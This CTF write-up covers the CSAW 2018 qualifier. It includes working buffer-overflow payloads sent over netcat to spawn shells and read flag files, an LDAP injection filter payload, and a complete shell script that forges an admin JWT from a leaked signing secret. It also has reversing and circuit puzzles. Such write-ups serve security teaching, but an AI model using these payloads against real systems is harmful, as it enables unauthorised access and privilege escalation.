Rating:



# CSAW CTF Qualification Round 2018 2018 Writeup
This repository serves as a writeup for CSAW CTF Qualification Round 2018 which are solved by The [S3c5murf](https://ctftime.org/team/63808/) team

## Twitch Plays Test Flag

**Category:** Misc
**Points:** 1
**Solved:** 1392
**Description:**

> ``flag{typ3_y3s_to_c0nt1nue}``



### Write-up
Just validate it.

So, the flag is : ``flag{typ3_y3s_to_c0nt1nue}``

## bigboy

**Category:** Pwn
**Points:** 25
**Solved:** 656
**Description:**

> Only big boi pwners will get this one!

> ``nc pwn.chal.csaw.io 9000``

**Attached:** [boi](resources/pwn-25-bigboy/boi)



### Write-up
In this task, we are given a file and we should use a socket connexion to get the flag.

Let's try opening a socket connexion using that command ``nc pwn.chal.csaw.io 9000``.

Input : testtesttest



Output : Current date

Alright. Now, we start analyzing the given file.

Using the command ``file boi``, we get some basic information about that file:



The given file is an ELF 64-bit executable file that we need for testing before performing the exploitation through the socket connexion.

So let's open it using Radare2 :

```
r2 boi
aaa #For a deep analysis
```



Then, we disassamble the main() method:

```
pdf @main
```






As we can see, there is 8 local variables in the main method:

```
| ; var int local_40h @ rbp-0x40
| ; var int local_34h @ rbp-0x34
| ; var int local_30h @ rbp-0x30
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; var int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_8h @ rbp-0x8
```

Then, some local variables are initialized:

```
| 0x00400649 897dcc mov dword [rbp - local_34h], edi
| 0x0040064c 488975c0 mov qword [rbp - local_40h], rsi
| 0x00400650 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x1a98 ; '('
| 0x00400659 488945f8 mov qword [rbp - local_8h], rax
| 0x0040065d 31c0 xor eax, eax
| 0x0040065f 48c745d00000. mov qword [rbp - local_30h], 0
| 0x00400667 48c745d80000. mov qword [rbp - local_28h], 0
| 0x0040066f 48c745e00000. mov qword [rbp - local_20h], 0
| 0x00400677 c745e8000000. mov dword [rbp - local_18h], 0
| 0x0040067e c745e4efbead. mov dword [rbp - local_1ch], 0xdeadbeef
```

After that, the message was printed "Are you a big boiiiii??" with the put() function:

```
| 0x00400685 bf64074000 mov edi, str.Are_you_a_big_boiiiii__ ; "Are you a big boiiiii??" @ 0x400764
| 0x0040068a e841feffff call sym.imp.puts ; sym.imp.system-0x20; int system(const char *string);
```

Next, the read() function was called to read the input set by the user from the stdin:
```
| 0x0040068f 488d45d0 lea rax, qword [rbp - local_30h]
| 0x00400693 ba18000000 mov edx, 0x18
| 0x00400698 4889c6 mov rsi, rax
| 0x0040069b bf00000000 mov edi, 0
| 0x004006a0 e85bfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte);
```

The input was set in the [rbp - local_30h] address.

Then, a comparison was trigered to compare the value of the `[rbp - local_1ch]` address to the `0xcaf3baee` value.

But as explained previously, the `[rbp - local_1ch]` value was `0xdeadbeef` and not `0xcaf3baee`.

What to do then ?

As we remember, the data input from the stdin is set in the `[rbp - local_30h]` address.

And since we don't see any check on the data input set by the user while calling the read() function, we can exploit a buffer overflow attack to set the `0xcaf3baee` value in the `[rbp - local_30h]` address.

The difference between rbp-0x30 and rbp-0x1c in hexadecimal is 14. In base10 it's 20.

So the offset that we should use is equal to 20 bytes.

To resume the input should looks like : ``20 bytes + 0xcaf3baee``.

Let's exploit !

In exploit, I only need peda-gdb (I installed it and linked it to gdb so if you don't already downloaded peda-gdb, some of the next commands will not work or will not have the same output).

We run peda-gdb on the binary file and we disassamble the main function just to get the instruction's line numbers:

```
gdb boi
pdisass main
```

Output :



We set a breakpoint on line main+108 to see the registers state after calling the cmp instruction:

```
b *main+108
```



Let's try running the binary file with a simple input (for example input='aaaa' : length <=20):

```
r <<< $(python -c "print 'aaaa'")
```

Output :






The value of RAX register (64 bits) is `0xdeadbeef` which is the value of EAX register (32 bits). As I remember EAX register is the lower 32 bits of the RAX register. So until now, this makes sense to see that value in RAX register.

The value of RSI register (64 bits) is `aaaa\n` also as expected (data input).

And while jne (jump if not equals) is executed, the program will jump to the lines that executes /bin/date (refer to the main disassambled using radare2).

This is why, we see the current date in the output when we continue using `c` in gdb.

Another important thing, in the stack, we can see the value of the local variables.

Now, let's try smaching the stack and set 20+4 bytes in the data input:

```
r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaabbbb'")
```

Output :






We can see that the value of RAX (means to EAX) is `bbbb` and we can see that in the stack part, the `0xdeadbeef00000000` was replaced by `aaaabbbb` after replacing the other local variables. And even though, the `Jump is taken`. So, if we continue the execution, we will get the current date.

Now, let's perform the exploitation seriously and replace `bbbb` by the `0xcaf3baee` value:

```
r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")
```

Output :






Now, RAX (means to EAX) gets the good value `0xcaf3baee`. And the Jump was not taken.

Let's continue :

```
c
```

Output :



So the /bin/dash was executed.

Now, we try this exploit remotely over a socket connexion:

```
nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")
```



Pwned ! We got the shell. And we can get the flag.

But, wait... This is not good. Whatever the command that we run through this connexion, we don't receive the output.

Let's try sending the commands on the payload directly:

```
nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcals'")
```

Output :



Good ! Let's cat the flag file :

```
nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcacat flag.txt'")
```

Output :



So, the flag is : ``flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}``

## get it?

**Category:** Pwn
**Points:** 50
**Solved:** 535
**Description:**

> Do you get it?



### Write-up
I tried writing a write-up but after reading another one, I felt uncomfortable to write it.

This is the greatest write-up of this task that I recommand reading it :

[https://ctftime.org/writeup/11221](https://ctftime.org/writeup/11221)

Which is a shortcut it this one :

[https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md](https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md)

My solution was closer because it remains to some payload :

```
python -c "print 'A'*40+'\xb6\x05\x40\x00\x00\x00\x00\x00'" > payload
(cat payload; cat) | nc pwn.chal.csaw.io 9001
```

Output :



Now, we got the shell !

We can also get the flag :

```
id
ls
cat flag.txt
```

Output :



So, the flag is `flag{y0u_deF_get_itls}`.

## A Tour of x86 - Part 1

**Category:** Reversing
**Points:** 50
**Solved:** 433
**Description:**

> Newbs only!

> `nc rev.chal.csaw.io 9003`

> -Elyk

> Edit (09/15 12:30 AM) - Uploaded new stage-2.bin to make Part 2 easier.

**Attached:** [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) [Makefile](resources/reversing-50-a_tour_of_x86_part_1/Makefile) [stage-2.bin](resources/reversing-50-a_tour_of_x86_part_1/stage-2.bin)



### Write-up
In this task, we only need the [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) file.

The other files are needed in the next stage which I haven't already solve it.

I just readed this asm file and I answered to the five question in the socket connexion opened with `nc rev.chal.csaw.io 9003`.

> Question 1 : What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')

Resume of the instructions :

```
xor dh, dh ; => dh xor dh = 0. So the result in hexadecimal is 0x00
```

> Question 2 : What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')

Resume of the instructions :

```
mov dx, 0xffff ; => dx=0xffff
not dx ; => dx=0x0000
mov gs, dx ; => gs=dx=0x0000
```

> Answer 3 : What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')

Resume of the instructions :

```
mov cx, 0 ; cx=0x0000 ; Registers that ends with 'x' are composed of low and high registers (cx=ch 'concatenated with' cl)
mov sp, cx ; => sp=cx=0x0000
mov si, sp ; => si=sp=0x0000
```

> Answer 4 : What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')

Resume of the instructions :

```
mov al, 't' ; => al='t'=0x74 (in hexadecimal)
mov ah, 0x0e ; => ah=0x0e. So ax=0x0e74. Because ax=ah 'concatenated with' al
```

> Answer 5 : What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')

Resume of the instructions :

```
.string_to_print: db "acOS", 0x0a, 0x0d, " by Elyk", 0x00 ; label: <size-of-elements> <array-of-elements>
mov ax, .string_to_print ; 'ax' gets the value of the 'db' array of bytes of the .string_to_print section
mov si, ax ; si=ax
mov al, [si] ; 'al' gets the address of the array of bytes of the .string_to_print section. Which means that it gets the address of the first byte. So al=0x61
mov ah, 0x0e ; ah=0x0e. So ax=0x0e61. Because ax=ah 'concatenated with' al
```

Then, we send our answers to the server :

Input and output :

```
nc rev.chal.csaw.io 9003
........................................
Welcome!

What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')
0x00

What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')
0x00

What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')
0x0000

What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')
0x0e74

What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')
0x0e61
flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}
```

So, the flag is `flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}`

## Ldab

**Category:** Web
**Points:** 50
**Solved:** 432
**Description:**

> dab

> `http://web.chal.csaw.io:8080`



### Write-up
This task was a kind of LDAP Injection.

After we visit this page `http://web.chal.csaw.io:8080` in the web browser, we get this result :






After some search tries, I understood that there is a filter like this `(&(GivenName=<OUR_INPUT>)(!(GivenName=Flag)))` (the blocking filter is in the right side, not in the left side).

I understood this after solving this task. But, I'm gonna explain what is the injected payload and how it worked.

The payload choosed was `*))(|(uid=*`.

And this payload set as an input, when it replaces `<OUR_INPUT>`, the filter will looks like this : `(&(GivenName=*))(|(uid=*)(!(GivenName=Flag)))`.

This is interpreted as :

> Apply an AND operator between `(GivenName=*)` which will always succeed.

> Apply an OR operator between `(uid=*)` and `(!(GivenName=Flag))` which will succeed but it doesn't show the flag.

As I understood, the default operator between these two conditions is an OR operator if there is no operator specified.

So, after setting `*))(|(uid=*` as an input, we will get the flag :



So, the flag is `flag{ld4p_inj3ction_i5_a_th1ng}`.

## Short Circuit

**Category:** Misc
**Points:** 75
**Solved:** 162
**Description:**

> Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.

> Elyk

**Attached** [20180915_074129.jpg](resources/misc-75-short_circuit/20180915_074129.jpg)
**Hint:** There are 112 Things You Need to Worry About



### Write-up
In this task we are given a photo that contains a circuit from which we should find the flag.

Personally, I solved this task without that hint.

I'm gonna relate how I solved this task. It was not so easy if you can't get it.

After seeing this given picture and after reading the description, I was confused. Is it rotated correctly ? Or should we find the correct rotation ?



So, I choosed this rotation because it looks better for me (that I can think better with a relaxed mind) :



Maybe, I choosed this rotation also because of these hints :



I tried to determinde the path between the 2 +Vcc :



In the first impression, after seeing the LED Diodes, I said

> "Maybe we should find the bits from each led : 1 if the electricity goes through the LED and 0 if not".

So let's fix some concepts. In physics, the electricity goes through an electric component IF there is no short circuit or if the electricity reach the ground. This is what I say in physics related to this task

Also, a short circuit means that the input node have the same voltage as the output node. So the electricity will go from node A to node B through the cable without going in the other path through any other electric component.

So, for the first 16 bits it was OK, I found the begining of the format flag 'flag{}' only for 2 bytes 'fl'. And I was excited :



I commented on 'Counts as 2 each' and I said "Of course because there is 2 LED Diodes. What a useless information".

But starting for the third byte, it was a disaster. I was affraid that I was bad in physics. And it was impossible for me to get even a correct character from the flag format 'flag{}'.

I said maybe I'm wrong for the orientation. Since, in the description, the author mentionned that we should ignore the first bit.

I said, the flag characters are they 7-bits and shall we add the last bit as a 0 ? The answer was 'No'.

I changed the orientation 180 degree. But, I didn't get any flag format.

In the both directions, there is many non-ascii characters.

And I was confused of seeing the same LED diode connected multiple times to the path. So, when I should set a value (0 or 1) to the LED Diode, I say 'should it be 'xx1xxxx' (setting the LED value in the first match) or 'xxxxx1x' (setting the LED value in the last match) 'xx1xx1x' (setting the LED value in all matches) ?

Example :



Should it be '1xxxx' (1 related to the LED marked with a green color) or should it be 'xxxx1' or should it be all of these as '1xxxx1' ?

I was just stuck.

And finally in the last 10 minutes before the end of the CTF I get it !

It was not `for each LED Diode we count a bit`. Instead it was `For each cable connected to the principle path, we count a bit`:



Finally, we get the following bits :

```
01100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001 01101000 01100001 01101110 01100100 01111101
```

Which are in ascii `flag{owmyhand}`.

So, the flag is `flag{owmyhand}`.

## sso

**Category:** Web
**Points:** 100
**Solved:** 210
**Description:**

> Don't you love undocumented APIs

> Be the admin you were always meant to be

> http://web.chal.csaw.io:9000

> Update chal description at: 4:38 to include solve details

> Aesthetic update for chal at Sun 7:25 AM



### Write-up
In this task, we have the given web page `http://web.chal.csaw.io:9000` :



In the source code we can finde more details about the available URLs:



So we have to access to `http://web.chal.csaw.io:9000/protected`. But, when we access to this page, we get this error :



We need an Authorization header which is used in many applications that provides the Single Sign-on which is an access control property that gives a user a way to authenticate a single time to be granted to access to many systems if he is authorized.

And that's why we need those 3 links :

> `http://web.chal.csaw.io:9000/oauth2/authorize` : To get the authorization from the Oauth server

> `http://web.chal.csaw.io:9000/oauth2/token` : To request for the JWT token that will be used later in the header (as Authorization header) instead of the traditional of creating a session in the server and returning a cookie.

> `http://web.chal.csaw.io:9000/protected` : To get access to a restricted page that requires the user to be authenticated. The user should give the Token in the Authorization header. So the application could check if the user have the required authorization. The JWT Token contains also the user basic data such as "User Id" without sensitive data because it is visible to the client.

In this example, the Oauth server and the application that contains a protected pages are the same.

In real life, this concept is used in social media websites that are considered as a third party providing an Oauth service to authenticate to an external website using the social media's user data.

Now let's see what we should do.

First, we sould get the authorization from the Oauth server using these parameters:

> URL : http://web.chal.csaw.io:9000/oauth2/authorize

> Data : response_type=code : This is mandatory

> Data : client_id=A_CLIENT_ID : in this task, we can use any client_id, but we should remember it always as we use it the next time in thet /oauth2/token page

> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : if the authorization succeeded (in the Oauth server), the user will be redirected to this URI (in the application) to get the generated token. In this task we can use any redirect_uri. Because, in any way, we are not going to follow this redirection

> Data : state=123 : Optionally we can provide a random state. Even, if we don't provide it, it will be present in the response when the authorization succeed

So in shell command, we can use cURL command to get the authorization :

```
cl_id=1
echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"
auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token&state=123" | awk -v FS="code=|&state" '{print $2}')
echo "Getting Authorization Code : ${auth_key}"
```

Output :

```
Getting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjU2MTEsImV4cCI6MTUzNzIyNjIxMX0.LM3-5WruZfx1ld9SidXAGvnF3VNMovuBU4RtFYy8rrg
```

So, this is the autorization code that we should use to generate the JWT Token from the application.

Let's continue.

As we said, we will not follow the redirection. Even you did that, you will get an error. I'm going to explain that.

Next, we send back that Authorization Code to the application (`http://web.chal.csaw.io:9000/oauth2/token`) :

> URL : http://web.chal.csaw.io:9000/oauth2/token

> Data : grant_type=authorization_code : mandatory

> Data : code=THE_GIVEN_AUTHORIZATION_CODE : the given authorization code stored in auth_key variable from the previous commands

> Data : client_id=SAME_CLIENT_ID : the same client id used in the begining (variable cl_id)

> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : this URI should be the same redirect_uri previously used

So the cURL command will be :

```
echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"
token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token")
echo "Getting Json Response : ${token}"
```

Output :

```
Getting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k"}
```

And, we get the Json response from the token page. Now, this application generated for us a JWT Token that contains some data that identifies our user which is supposed to be previously authenticated to the Oauth server (I repeat, I said it's supposed to be. To give you an example, it's like a website, that needs to get authorization from Facebook to get access to your user data and then it returns a JWT Token that contains an ID that identifies you from other users in this external website. So you should be previously authenticated to the Oauth server (Facebook) before that this external website gets an authorization to get access to your user data. Seems logical).

Let's extract the JWT Token from the Json response :

```
jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")
echo "Extracting JWT Token : ${jwt}"
```

Output :

```
Extracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k
```

Nice ! Now, we decode this JWT Token using python. If you don't have installed the 'PyJWT' python library, you should install it in Python2.x :

```
pip install PyJWT
jwt_decoded=$(pyjwt decode --no-verify $jwt)
echo "Decoding JWT Token : ${jwt_decoded}"
```

Output :

```
Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}
```

Good ! Now, we know that secret="ufoundme!" and the type="user".

In the first impression when I get this output, I said, why there is no username or user id and instead there is the secret ?

Maybe my user is an admin as expected from the task description.

But when I try to access to the protected page using this JWT Token I get this :

```
curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt}"
```

Output :

```
You must be admin to access this resource
```

Wait... What ? Why I'm not already an admin ?

When I checked again all the previous steps I said there is no way how to set my user to be an admin, I didn't get it how to do that.

Because, as I said, the user is supposed to be authenticated to the Oauth server.

Some minutes later I though that the solution is behind this line :

```
Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}
```

Maybe, type="user" should be type="admin". But, in JWT, if the used algorithm that generates the token is HS256, there is no way to break it. Because JWT Token is composed from "Header"+"Payload"+"Hash". And when we modify the Payload, we should have the key that is used to hash the payload to get a valid JWT Token.

And, from there I get the idea that maybe the hash is computed using a key which is a secret string. And since we have in the payload secret="ufoundme!", this will make sense !

Let's try it !

First, we edit the payload like this (we can change exp value and extend it if the token is expired) :

```
{"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}
```

So, we need using these commands :

```
jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')
echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"
```

Output :

```
Replacing 'user by 'admin' : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}
```

Then, we generate again the JWT Token using the alogirhm HS256 and using the secret "ufoundme!" :

```
secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")
echo "Extracting JWT secret for signing while encoding this payload : ${secret}"
jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")
echo "Generating the new JWT Token : ${jwt_new}"
```

Output :

```
Extracting JWT secret for signing while encoding this payload : ufoundme!
Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjc2MjUsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyODIyNX0.Y-7Ew7nYIEMvRJad_T8_cqZpPxAo_KOvk24qeTce9S8
```

We can check the content of the JWT Token if needed :

```
verif=$(pyjwt decode --no-verify $jwt_new)
```

Output :

```
Verifing the JWT Token content : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}
```

And finally we send try again get accessing to the protected page using this newly created JWT :

```
curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"
```

Output :

```
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}
```

To resume all the commands needed to get the flag, you can get all the commands from below or from this [sso_solution.sh](resources/web-100-sso/sso_solution.sh)

```sh
#!/bin/bash

cl_id=1
echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"
auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io$
echo "Getting Authorization Code : ${auth_key}"
echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"
token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=ht$
echo "Getting Json Response : ${token}"
jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")
echo "Installing PyJWT python2.x library"
pip install PyJWT
echo "Extracting JWT Token : ${jwt}"
jwt_decoded=$(pyjwt decode --no-verify $jwt)
echo "Decoding JWT Token : ${jwt_decoded}"
jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')
echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"
secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")
echo "Extracting JWT secret for signing while encoding this payload : ${secret}"
jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")
echo "Generating the new JWT Token : ${jwt_new}"
verif=$(pyjwt decode --no-verify $jwt_new)
echo "Verifing the JWT Token content : ${verif}"
echo "GET http://web.chal.csaw.io:9000/protected"
echo "Response :"
curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"
echo ""
```

Output :

```
POST http://web.chal.csaw.io:9000/oauth2/authorize
Getting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjg3ODMsImV4cCI6MTUzNzIyOTM4M30.1w-Wrwz-jY9UWErqy_W8Xra8FUUQdfJttvQLbELY050
POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code
Getting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaI"}
Installing PyJWT python2.x library
Requirement already satisfied: PyJWT in /usr/local/lib/python2.7/dist-packages
Extracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaI
Decoding JWT Token : {"iat": 1537228783, "secret": "ufoundme!", "type": "user", "exp": 1537229383}
Replacing 'user by 'admin' : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}
Extracting JWT secret for signing while encoding this payload : ufoundme!
Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjg3ODMsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyOTM4M30.RCW_UsBuM_0Le-kawO2CNolAFwUS3zYLoQU_2eDCurw
Verifing the JWT Token content : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}
GET http://web.chal.csaw.io:9000/protected
Response :
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}
```

So, the flag is `flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`

# Scoreboard

Our team S3c5murf (2 team members thanks to Dali) get ranked 139/1488 active challenger with a score 1451.

This is the scoreboard and the ranking in this CTF :

Summary:







Tasks:




Original writeup (https://github.com/mohamedaymenkarmous/CTF/tree/master/CSAWCTFQualificationRound2018#sso).